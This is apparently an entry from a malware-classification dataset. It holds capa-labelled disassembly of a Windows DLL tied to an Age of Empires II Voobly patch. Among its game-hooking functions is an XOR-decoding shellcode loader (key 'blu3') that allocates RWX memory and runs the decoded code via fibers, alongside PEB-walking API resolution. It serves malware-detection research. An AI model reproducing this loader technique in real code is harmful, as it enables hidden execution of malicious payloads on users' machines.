joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001190
Capabilities:
Access peb ldr_data
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
pop eax
mov esi, dword [ebp - 4]
call section..text
push str.GetModuleHandleA
mov ebx, eax
push esi
mov dword [ebp - 8], ebx
call ebx
push str.VirtualAlloc
mov edi, eax
push esi
mov dword [ebp - 0x10], edi
call ebx
push str.ntdll.dll
mov dword [ebp - 0x14], eax
call edi
mov ecx, 0x5a4d
mov dword [ebp - 0xc], eax
cmp word [eax], cx
jne 0x10001251
mov ecx, dword [eax + 0x3c]
xor esi, esi
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10001253
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
mov dword [ebp - 4], eax
test ebx, ebx
je 0x10001251
mov edi, eax
mov ecx, edi
mov eax, str..text
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001240
test dl, dl
je 0x1000123c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001240
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001220
xor eax, eax
jmp 0x10001245
sbb eax, eax
or eax, 1
test eax, eax
je 0x100012a7
inc esi
add edi, 0x28
cmp esi, ebx
jl 0x10001214
xor esi, esi
mov ebx, dword [ebp - 4]
mov edx, 0x10007028
add ebx, esi
mov ecx, esi
push 8
push ebx
call fcn.100010e0
add esp, 8
test eax, eax
je 0x10001289
mov eax, dword [eax + 0xe]
mov ecx, 0xefff
mov dword [eax], 0
mov eax, dword fs:[0x18]
and word [eax + 0xfca], cx
mov eax, dword fs:[0x30]
push str.ntdll.dll
mov dword [ebp - 0xc], eax
call dword [ebp - 0x10]
mov edi, eax
test edi, edi
jne 0x100012bf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
lea eax, [esi + esi*4]
mov esi, dword [ecx + eax*8 + 0xc]
lea ecx, [ecx + eax*8]
mov eax, dword [ecx + 8]
add esi, dword [ebp - 0xc]
mov dword [ebp - 4], eax
jmp 0x10001253
push str.RtlLeaveCriticalSection
push edi
call dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + 0xa0]
call eax
push str.LdrFastFailInLoaderCallout
push edi
call dword [ebp - 8]
test eax, eax
je 0x100012e9
mov eax, dword [eax + 0x13]
mov dword [eax], 2
push 0xf
push ebx
mov edx, 0x10007018
mov ecx, esi
call fcn.100010e0
add esp, 8
test eax, eax
je 0x10001308
mov eax, dword [eax + 8]
mov dword [eax], 2
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001330
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
mov eax, dword [0x10007004]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
push ebx
push esi
push edi
jne 0x100014eb
call fcn.10001190
mov ecx, 0xd1
mov dword [ebp - 0x350], 0
mov esi, 0x100030b8
lea edi, [ebp - 0x34c]
rep movsd dword es:[edi], dword [esi]
mov ebx, eax
movsb byte es:[edi], byte [esi]
push eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x350], eax
pop eax
mov edi, dword [ebp - 0x350]
call section..text
push str.ConvertThreadToFiber
mov esi, eax
push edi
call esi
push str.CreateFiber
push edi
mov dword [ebp - 0x364], eax
call esi
push str.SwitchToFiber
push edi
mov dword [ebp - 0x368], eax
call esi
push 0x40
push 0x3000
push 0x345
push 0
mov dword [ebp - 0x36c], eax
call ebx
push 0x345
mov dword [ebp - 0x35c], eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
lea edx, [ebp - 0x34b]
or eax, 0xffffffff
mov dword [ebp - 0x360], edi
sub eax, edi
mov esi, 0xfffffffe
mov dword [ebp - 0x350], eax
sub esi, edi
mov ebx, dword [ebp - 0x350]
lea eax, [ebp - 0x34c]
sub eax, edi
lea ecx, [edi + 2]
mov dword [ebp - 0x354], eax
mov edi, edx
mov eax, 2
add esp, 4
sub eax, edi
mov edi, dword [ebp - 0x354]
mov dword [ebp - 0x358], eax
nop dword [eax]
nop dword [eax + eax]
lea eax, [esi + ecx]
and eax, 3
movzx eax, byte [eax + str.blu3]
xor al, byte [edx - 1]
mov byte [ecx - 2], al
lea eax, [ebx + ecx]
and eax, 3
lea ecx, [ecx + 3]
movzx eax, byte [eax + str.blu3]
xor al, byte [edx]
mov byte [ecx - 4], al
mov eax, dword [ebp - 0x358]
add eax, edx
add edx, 3
and eax, 3
movzx eax, byte [eax + str.blu3]
xor al, byte [edi + ecx - 3]
mov byte [ecx - 3], al
lea eax, [esi + ecx]
cmp eax, 0x345
jb 0x10001440
mov ebx, dword [ebp - 0x35c]
mov edx, 0x345
mov edi, dword [ebp - 0x360]
test ebx, ebx
je 0x100014d1
test edi, edi
je 0x100014d1
cmp ebx, edi
ja 0x100014b9
mov esi, edi
mov ecx, 0xd1
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x100014d1
mov esi, ebx
lea ecx, [edi + 0x344]
sub esi, edi
mov al, byte [ecx]
lea ecx, [ecx - 1]
mov byte [esi + ecx + 1], al
sub edx, 1
jne 0x100014c3
push 0
call dword [ebp - 0x364]
push 0
push ebx
push 0
call dword [ebp - 0x368]
push eax
call dword [ebp - 0x36c]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call sym.tinyxml.dll_public:_void___thiscall_TiXmlAttribute::constructor_char_const___char_const__
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001760
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 8]
push esi
push edi
push eax
push 1
lea eax, [ebp - 1]
mov byte [ebp - 1], 0xe9
push eax
push 0x527c13
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
call edi
mov eax, 0x10001580
sub eax, 0x527c18
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push 0x527c14
call ebx
push eax
call edi
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0xe9
push eax
push 1
lea eax, [ebp - 1]
push eax
push 0x51e605
call ebx
push eax
call edi
mov eax, 0x10001610
sub eax, 0x51e60a
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x51e606
call ebx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 2
push 0x51e60a
call esi
mov eax, 0x51e60a
mov ecx, 0x90909090
mov word [eax], cx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push 2
push 0x51e60a
call esi
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0xe9
push eax
push 1
lea eax, [ebp - 1]
push eax
push 0x603d4b
call ebx
push eax
call edi
mov eax, 0x10001910
sub eax, 0x603d50
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x603d4c
call ebx
push eax
call edi
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
push 0x450a4e
call esi
mov byte [0x450a4e], 0xe9
mov eax, 0x10001560
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 0xffbaf5ad
mov dword [0x450a4f], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 5
push 0x450a4e
call esi
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0xe9
push eax
push 1
lea eax, [ebp - 1]
push eax
push 0x527b3f
call ebx
push eax
call edi
mov eax, 0x10001480
sub eax, 0x527b44
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x527b40
call ebx
push eax
call edi
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0xe9
push eax
push 1
lea eax, [ebp - 1]
push eax
push 0x602dd0
call ebx
push eax
call edi
mov eax, 0x100014f0
sub eax, 0x602dd5
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x602dd1
call ebx
push eax
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10027e9d
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x10033ad8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
push 0x2b
push str...Voobly_ModsAOCPatches_v1.5_RCicon.drs
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.10005d30
push 0
push 0x100292f0
push 3
push 0
lea ecx, [ebp - 0x28]
call fcn.10009390
lea ecx, [ebp - 0x28]
cmp ecx, eax
je 0x100063a9
cmp dword [eax + 0x14], 0x10
mov ecx, eax
jb 0x1000639d
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10005e90
cmp dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x28]
mov ecx, edx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100063d0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.10005e90
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push 0x100293e0
cmovae eax, dword [ebp - 0x40]
push eax
call fcn.10013e97
add esp, 8
test eax, eax
je 0x1000640d
push eax
call fcn.10013d56
add esp, 4
mov bl, 1
jmp 0x1000640f
xor bl, bl
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x10006443
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006439
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100064ef
push ecx
push edx
call fcn.1000fe6b
add esp, 8
test bl, bl
je 0x100064d7
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x4c]
push eax
push 0x40
push 5
push 0x43afa8
call esi
mov byte [0x43afa8], 0xe9
mov eax, 0x10002f60
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add eax, 0xffbc5053
mov dword [0x43afa9], eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x4c]
push 5
push 0x43afa8
call esi
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x100064bc
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100064b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100064f4
push ecx
push edx
call fcn.1000fe6b
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000fe79
mov esp, ebp
pop ebp
ret
push 0
push 0
push str.Icon_Drs_patch_is_missing_or_path_patch_is_wrong__
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call fcn.1001414a
call fcn.1001384e
call fcn.1001384e
int3
Function at 0x10007ff0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10033ad8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x104
lea eax, [ebp - 0x108]
xor bl, bl
push 0
push eax
call fcn.10010ba0
add esp, 0xc
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push str.SOFTWAREVooblyVooblygame13_v1.5_RC
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100080e5
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push str.Select_All
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, str.true
lea eax, [ebp - 0x108]
push esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100080bf
test dl, dl
je 0x1000809c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100080bf
add eax, 2
add ecx, 2
test dl, dl
jne 0x10008080
push dword [ebp - 0x10c]
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fe79
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10c]
sbb esi, esi
or esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fe79
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1000fe79
mov esp, ebp
pop ebp
ret
Function at 0x1000c800
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 8], ebx
test edi, edi
jne 0x1000c828
push edi
push edi
push edi
push 2
call fcn.1000f770
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x1000c83f
mov ecx, esi
mov esi, dword [esi + 0x28]
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x1000c830
push 2
push 0
push edi
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 8], 0xffffffff
mov dword [ebx + 4], 0xffffffff
call fcn.1001514f
push edi
call fcn.100156c1
push 0
mov esi, eax
push 0
push edi
mov dword [ebp - 4], esi
call fcn.1001514f
add esp, 0x1c
test esi, esi
jg 0x1000c89b
push 0
push 0
push 0
push 0xc
mov ecx, ebx
call fcn.1000f770
pop esi
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [esi + 1]
push eax
call fcn.1000fc30
push edi
push 1
push esi
push eax
mov dword [ebp + 8], eax
mov byte [eax], 0
call fcn.10014d64
add esp, 0x14
cmp eax, 1
je 0x1000c8e2
mov edi, dword [ebp + 8]
push edi
call fcn.1000fc60
add esp, 4
mov ecx, ebx
push 0
push 0
push 0
push 2
call fcn.1000f770
pop esi
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov esi, ecx
mov ebx, dword [ebp - 4]
mov edi, ecx
add ebx, ecx
mov byte [ebx], 0
cmp byte [ecx], 0
je 0x1000c965
cmp esi, ebx
jb 0x1000c911
push 0x423
push str.C:Usersmikael.derainSourceReposAoe2Patch_User_Patch_1.5_RC_src_tinyxml.cpp
push str.p____buflength_
call fcn.1001a8e6
add esp, 0xc
cmp edi, ebx
jbe 0x1000c92c
push 0x424
push str.C:Usersmikael.derainSourceReposAoe2Patch_User_Patch_1.5_RC_src_tinyxml.cpp
push str.q____buflength_
call fcn.1001a8e6
add esp, 0xc
cmp edi, esi
jbe 0x1000c947
push 0x425
push str.C:Usersmikael.derainSourceReposAoe2Patch_User_Patch_1.5_RC_src_tinyxml.cpp
push str.q___p
call fcn.1001a8e6
add esp, 0xc
mov al, byte [esi]
lea ecx, [edi + 1]
inc esi
cmp al, 0xd
jne 0x1000c95c
mov byte [edi], 0xa
cmp byte [esi], 0xa
jne 0x1000c95e
inc esi
jmp 0x1000c95e
mov byte [edi], al
cmp byte [esi], 0
mov edi, ecx
jne 0x1000c8f6
cmp edi, ebx
jbe 0x1000c980
push 0x432
push str.C:Usersmikael.derainSourceReposAoe2Patch_User_Patch_1.5_RC_src_tinyxml.cpp
push str.q____buflength_
call fcn.1001a8e6
add esp, 0xc
mov esi, dword [ebp - 8]
mov ecx, esi
push dword [ebp + 0xc]
mov byte [edi], 0
mov edi, dword [ebp + 8]
mov eax, dword [esi]
push 0
push edi
call dword [eax + 8]
push edi
call fcn.1000fc60
add esp, 4
cmp byte [esi + 0x2c], 0
sete al
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1001e6a4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001e523

Function at 0x1001ff70
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001fe75
Function at 0x10027820
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002784d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002784d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret